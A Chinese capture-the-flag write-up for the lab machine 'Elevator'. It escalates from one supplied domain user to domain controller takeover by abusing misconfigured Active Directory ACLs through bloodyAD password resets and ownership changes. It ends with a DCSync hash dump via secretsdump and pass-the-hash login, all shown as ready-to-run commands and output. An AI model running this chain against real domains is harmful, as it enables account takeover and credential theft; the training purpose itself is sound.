The Hackers Labs-Elevator
通过BloodHound发现ACL配置缺陷,利用AddSelf、GenericAll、WriteDacl等权限逐级提权至域控。
The Hackers Labs-Elevator
信息收集
┌──(root㉿Penetration)-[/mnt/c/Users/Anonymous/Desktop/Tool/fscan/fscanplus]
└─# ./fscanPlus_amd64 -h 192.168.69.2
start infoscan
192.168.69.2:139 open
192.168.69.2:80 open
192.168.69.2:135 open
192.168.69.2:445 open
192.168.69.2:88 open
[*] alive ports len is: 5
start vulscan
[*] NetInfo
[*]192.168.69.2
[->]elevator
[->]10.0.250.1
[->]192.168.69.2
[*] WebTitle http://192.168.69.2 code:200 len:703 title:IIS Windows Server
Read failed: EOF
[*] NetBios 192.168.69.2 [+] DC:BLOODHOUND\ELEVATOR Windows Version 10.0 Build 20348
已完成 5/5
[*] 扫描结束,耗时: 3.4486117s给了一个凭据
User john.smith
Password Rk436\#Z4&查看完整域名
┌──(root㉿Penetration)-[/mnt/c/Users/Anonymous/Desktop/Tool/fscan/fscanplus]
└─# netexec smb 192.168.69.2
SMB 192.168.69.2 445 ELEVATOR [*] Windows Server 2022 Build 20348 x64 (name:ELEVATOR) (domain:bloodhound.thl) (signing:True) (SMBv1:False)添加bloodhound.thl到/etc/hosts
echo "192.168.69.2 bloodhound.thl" >> /etc/hosts凭据验证
┌──(root㉿Penetration)-[/mnt/c/Users/Anonymous/Desktop/Tool/fscan/fscanplus]
└─# netexec smb 192.168.69.2 -d 'bloodhound.thl' -u 'john.smith' -p 'Rk436\#Z4&' --ignore-pw-decoding
SMB 192.168.69.2 445 ELEVATOR [*] Windows Server 2022 Build 20348 x64 (name:ELEVATOR) (domain:bloodhound.thl) (signing:True) (SMBv1:False)
SMB 192.168.69.2 445 ELEVATOR [+] bloodhound.thl\john.smith:Rk436\#Z4&BloodHound 数据收集
┌──(root㉿Penetration)-[/mnt/c/Users/Anonymous/Desktop]
└─# bloodhound-python -c All -d 'bloodhound.thl' -u 'john.smith' -p 'Rk436\#Z4&' -ns 192.168.69.2 --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: bloodhound.thl
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: unpack requires a buffer of 4 bytes
INFO: Connecting to LDAP server: elevator.bloodhound.thl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: elevator.bloodhound.thl
INFO: Found 9 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 4 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: elevator.bloodhound.thl
INFO: Done in 00M 01S
INFO: Compressing output into 20260112115612_bloodhound.zip如果报The DNS operation timed out错误,使用下面的命令伪造一下
dnschef --fakeip 192.168.69.2导入
ACL 滥用
搜索JOHN.SMITH

右键点击 john.smith 节点 → Mark User as Owned,然后:点击左侧菜单 Analysis
选择 Shortest Paths to Domain Admins from Owned Principals
报错NO DATA RETURNED FROM QUERY
在右侧面板点击 Outbound Object Control,展开看他能控制什么对象

从初始用户 JOHN.SMITH 开始,利用其对 FINANZAS 组的 AddSelf 权限(允许将自己添加为组成员)加入该组。成为 FINANZAS 组成员
┌──(root㉿Penetration)-[/mnt/c/Users/Anonymous/Desktop]
└─# bloodyAD --host 192.168.69.2 -d bloodhound.thl -u 'john.smith' -p 'Rk436\#Z4&' add groupMember FINANZAS john.smith
[+] john.smith added to FINANZAS现在继续追踪攻击链,右键点击 FINANZAS 节点,选择:Outbound Object Control 或Shortest Paths from Here

继承了该组对 MARY.JOHNSON 的 GenericAll 权限(完全控制权,可重置密码、修改属性等),直接重置其密码并接管账户。
┌──(root㉿Penetration)-[/mnt/c/Users/Anonymous/Desktop]
└─# bloodyAD --host 192.168.69.2 -d bloodhound.thl -u 'john.smith' -p 'Rk436\#Z4&' set password mary.johnson '1qaz@2WSX'
[+] Password changed successfully!现在继续追踪攻击链,右键点击 MARY.JOHNSON 节点,选择:Outbound Object Control 或Shortest Paths from Here

接着利用 MARY.JOHNSON 对 ROBERT.WILLIAMS 的 ForceChangePassword 权限(无需知道原密码即可强制重置),再次重置密码完成账户接管。
┌──(root㉿Penetration)-[/mnt/c/Users/Anonymous/Desktop]
└─# bloodyAD --host 192.168.69.2 -d bloodhound.thl -u 'mary.johnson' -p '1qaz@2WSX' set password robert.williams '1qaz@2WSX'
[+] Password changed successfully!现在继续追踪攻击链,右键点击 ROBERT.WILLIAMS 节点,选择:Outbound Object Control 或Shortest Paths from Here

由于 ROBERT.WILLIAMS 是 MARKETING 组成员,继承了该组对 PATRICIA.BROWN 的 WriteDacl 权限(可修改目标的访问控制列表),通过给自己授予 FullControl 权限后重置其密码。
┌──(root㉿Penetration)-[/mnt/c/Users/Anonymous/Desktop]
└─# bloodyAD --host 192.168.69.2 -d bloodhound.thl -u 'robert.williams' -p '1qaz@2WSX' add genericAll patricia.brown robert.williams
[+] robert.williams has now GenericAll on patricia.brown
┌──(root㉿Penetration)-[/mnt/c/Users/Anonymous/Desktop]
└─# bloodyAD --host 192.168.69.2 -d bloodhound.thl -u 'robert.williams' -p '1qaz@2WSX' set password patricia.brown '1qaz@2WSX'
[+] Password changed successfully!现在继续追踪攻击链,右键点击 PATRICIA.BROWN 节点,选择:Outbound Object Control 或Shortest Paths from Here

然后利用 PATRICIA.BROWN 对 OPERACIONES 组的 WriteOwner 权限(可修改对象所有者),将自己设为该组所有者,作为所有者可修改组的 DACL,给自己授予写入权限后加入该组。
┌──(root㉿Penetration)-[/mnt/c/Users/Anonymous/Desktop]
└─# bloodyAD --host 192.168.69.2 -d bloodhound.thl -u 'patricia.brown' -p '1qaz@2WSX' set owner OPERACIONES patricia.brown
[+] Old owner S-1-5-21-3580157585-956322742-780763674-512 is now replaced by patricia.brown on OPERACIONES
┌──(root㉿Penetration)-[/mnt/c/Users/Anonymous/Desktop]
└─# bloodyAD --host 192.168.69.2 -d bloodhound.thl -u 'patricia.brown' -p '1qaz@2WSX' add genericAll OPERACIONES patricia.brown
[+] patricia.brown has now GenericAll on OPERACIONES
┌──(root㉿Penetration)-[/mnt/c/Users/Anonymous/Desktop]
└─# bloodyAD --host 192.168.69.2 -d bloodhound.thl -u 'patricia.brown' -p '1qaz@2WSX' add groupMember OPERACIONES patricia.brown
[+] patricia.brown added to OPERACIONES现在右键点击 OPERACIONES 节点,选择 Outbound Object Control 或 Shortest Paths from Here

OPERACIONES 组对 MICHAEL.JONES 拥有 GenericAll 权限,重置其密码后接管账户。
┌──(root㉿Penetration)-[/mnt/c/Users/Anonymous/Desktop]
└─# bloodyAD --host 192.168.69.2 -d bloodhound.thl -u 'patricia.brown' -p '1qaz@2WSX' set password michael.jones '1qaz@2WSX'
[+] Password changed successfully!现在右键点击 MICHAEL.JONES 节点,选择 Outbound Object Control 或 Shortest Paths from Here

MICHAEL.JONES 对 ELEVATOR.BLOODHOUND.THL 有 AdminTo 权限(本地管理员)。
evil-winrm -i 192.168.69.2 -u michael.jones -p '1qaz@2WSX'DCSync
┌──(root㉿Penetration)-[/mnt/c/Users/Anonymous/Desktop]
└─# impacket-secretsdump 'bloodhound.thl/michael.jones:1qaz@2WSX'@192.168.69.2
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xfd121194e6e8f6e1867669f6be974003
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrador:500:aad3b435b51404eeaad3b435b51404ee:73a6bd232c2ac35833dd1f3cf571daf2:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
BLOODHOUND\ELEVATOR$:aes256-cts-hmac-sha1-96:f13be1889a24928a140daf2635f6d99c555fe43dd715a80c31c57111877132e1
BLOODHOUND\ELEVATOR$:aes128-cts-hmac-sha1-96:ff848df7fd12faefcbe394937ac53802
BLOODHOUND\ELEVATOR$:des-cbc-md5:8a7cb385206ece4f
BLOODHOUND\ELEVATOR$:plain_password_hex:ad096f65ae30e1abd6bac726be084fb659a61ccc6bb36161688449338bdf8279834e315360952fdd20fe931323da5c138649433fe985e1708e37636e50c376e509bfe1632495f2e517f0e5d34bcc329a432fe3998e953296e941058df0194f1ea1681df8180c0beba69d6609460c2ae0d8fdfefb55d7f096a8ca1a56aa8b1e4e5d319791fc3030d32e87103f301a8e4580b084b2ac8db4803bc5cd6894f50d6043d5305dbb715d63b25d686ab402c12cf77b914fa287cabb2d185441fea7a43ac9ba80cf3c3a833f83868eac4725095ec619d6e621af6fda3c5aa56daa4204cef6e86f054f731aba1322cd7c05fb83e7
BLOODHOUND\ELEVATOR$:aad3b435b51404eeaad3b435b51404ee:e7bec927726315878c53d08ae0fc1ef2:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x04a8f129f3a49af9273035fe1f697c064b1995ed
dpapi_userkey:0x0de165cb3cb0e1cc3da4e27f7db327aa96bb42ed
[*] NL$KM
0000 93 C1 4A 69 AF 1A 44 E5 03 55 90 B5 C7 5E E1 96 ..Ji..D..U...^..
0010 15 DF 93 46 08 05 85 1E 15 C1 61 BD DB 65 DD FC ...F......a..e..
0020 02 10 1D BE 4D AB 87 F6 19 ED F5 09 E9 86 DC 1C ....M...........
0030 7A F8 FF 84 E9 51 6B 6D F2 A5 53 F2 41 FC 40 31 z....Qkm..S.A.@1
NL$KM:93c14a69af1a44e5035590b5c75ee19615df93460805851e15c161bddb65ddfc02101dbe4dab87f619edf509e986dc1c7af8ff84e9516b6df2a553f241fc4031
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrador:500:aad3b435b51404eeaad3b435b51404ee:887c93979d112cab229dac5b9acb3474:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3cf0e3225d88dfe319061adb693c2c3c:::
bloodhound.thl\michael.jones:1108:aad3b435b51404eeaad3b435b51404ee:0c7c39ed4d38ca79dc7bdd794ad6b212:::
bloodhound.thl\john.smith:1109:aad3b435b51404eeaad3b435b51404ee:8f64c5b2e3a475f3d64263cf0961e7a9:::
bloodhound.thl\mary.johnson:1111:aad3b435b51404eeaad3b435b51404ee:0c7c39ed4d38ca79dc7bdd794ad6b212:::
bloodhound.thl\robert.williams:1112:aad3b435b51404eeaad3b435b51404ee:0c7c39ed4d38ca79dc7bdd794ad6b212:::
bloodhound.thl\patricia.brown:1114:aad3b435b51404eeaad3b435b51404ee:0c7c39ed4d38ca79dc7bdd794ad6b212:::
ELEVATOR$:1000:aad3b435b51404eeaad3b435b51404ee:e7bec927726315878c53d08ae0fc1ef2:::
[*] Kerberos keys grabbed
Administrador:aes256-cts-hmac-sha1-96:c34ba6ffb7b7d4df01e9b7928271c639f38d7fa369025d0a4fe2f4b9083e02e0
Administrador:aes128-cts-hmac-sha1-96:87a8107663dacdc56f358fe3b0252463
Administrador:des-cbc-md5:85196419bc437391
krbtgt:aes256-cts-hmac-sha1-96:123a3bb22597818364465d4a111a5bba6b4b9b6a12dd924e8dda67a0c0607022
krbtgt:aes128-cts-hmac-sha1-96:da2e2e889b409aa526c1db3918ad0a6e
krbtgt:des-cbc-md5:40b0c108b3bcb33d
bloodhound.thl\michael.jones:aes256-cts-hmac-sha1-96:789a8109ccb4be00a7298f83d90894e22f872648dadf47686671428105b71b78
bloodhound.thl\michael.jones:aes128-cts-hmac-sha1-96:0ebdb343a93bf801ab577366cc1dadfa
bloodhound.thl\michael.jones:des-cbc-md5:3e805204f4b53bce
bloodhound.thl\john.smith:aes256-cts-hmac-sha1-96:a7ebc86593ebda83bfdcdf7b96ac37c9ab19fb2a7fb9228ef69b3fe32610c8e1
bloodhound.thl\john.smith:aes128-cts-hmac-sha1-96:15df2005fe093539f39d3a5288108f05
bloodhound.thl\john.smith:des-cbc-md5:2af14c7c9d624961
bloodhound.thl\mary.johnson:aes256-cts-hmac-sha1-96:6c74989747101a8b410c62c3441a96766531fe953c9c9a549e221075fa917977
bloodhound.thl\mary.johnson:aes128-cts-hmac-sha1-96:64c412246621f3ae801a66ed537fb656
bloodhound.thl\mary.johnson:des-cbc-md5:ab80ce2fdffe926d
bloodhound.thl\robert.williams:aes256-cts-hmac-sha1-96:5f8252dd0914b4ce78d966d89e43b79edd39898953a3f03a71091bf508f9140d
bloodhound.thl\robert.williams:aes128-cts-hmac-sha1-96:1bc510639f0958587e68bdff72badc35
bloodhound.thl\robert.williams:des-cbc-md5:4a86138f67015b43
bloodhound.thl\patricia.brown:aes256-cts-hmac-sha1-96:8aad7e15eecf0072cea17bf878df5fcd416b87cd1ebf92caca3bd01084f84440
bloodhound.thl\patricia.brown:aes128-cts-hmac-sha1-96:7f340927f374ba2a9c94122b40e4fefa
bloodhound.thl\patricia.brown:des-cbc-md5:34efec68ba103dc8
ELEVATOR$:aes256-cts-hmac-sha1-96:f13be1889a24928a140daf2635f6d99c555fe43dd715a80c31c57111877132e1
ELEVATOR$:aes128-cts-hmac-sha1-96:ff848df7fd12faefcbe394937ac53802
ELEVATOR$:des-cbc-md5:e3f2e6a801259d5e
[*] Cleaning up...
[*] Stopping service RemoteRegistryPTH
┌──(root㉿Penetration)-[/mnt/c/Users/Anonymous/Desktop]
└─# evil-winrm -i 192.168.69.2 -u Administrador -H 887c93979d112cab229dac5b9acb3474
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrador\Documents> whoami
bloodhound\administrador
*Evil-WinRM* PS C:\Users\Administrador\Documents>总结
AddSelf - 可将自己添加到组
GenericAll - 完全控制 (可修改密码/添加SPN/DCSync)
ForceChangePassword - 强制修改目标密码 (无需原密码)
WriteDacl - 修改 DACL,可给自己授予任意权限
WriteOwner - 修改对象所有者,成为所有者后可控制 DACL
AdminTo - 对目标计算机有本地管理员权限本次攻击的核心是利用 Active Directory 中错误配置的访问控制列表(ACL),构建从普通域用户到域管理员的完整提权路径。
初始用户 john.smith 拥有对 FINANZAS 组的 AddSelf 权限,可将自身添加为组成员。由于该组对 mary.johnson 具有 GenericAll 权限,john.smith 加入后即继承此权限,可直接重置目标密码完成账户接管。
mary.johnson 对 robert.williams 持有 ForceChangePassword 权限,无需原密码即可强制重置。robert.williams 作为 MARKETING 组成员,继承了该组对 patricia.brown 的 WriteDacl 权限。WriteDacl 允许修改目标的访问控制列表,攻击者通过此权限为自身授予 GenericAll,随后重置密码接管账户。
patricia.brown 对 OPERACIONES 组拥有 WriteOwner 权限。AD 中对象所有者隐含完全控制权,攻击者将自身设为所有者后,修改组 DACL 并加入该组。OPERACIONES 组对 michael.jones 具有 GenericAll 权限,再次通过密码重置完成接管。
michael.jones 是域控 ELEVATOR 的本地管理员,此权限允许执行 DCSync 攻击。DCSync 利用域控间的数据同步机制,模拟域控请求获取所有用户的 NTLM 哈希。获取域管理员哈希后,通过 Pass-The-Hash 直接登录,完成域控接管。
通过BloodHound发现ACL配置缺陷,利用AddSelf、GenericAll、WriteDacl等权限逐级提权至域控。
由 AI 根据全文自动生成,仅供参考,以原文为准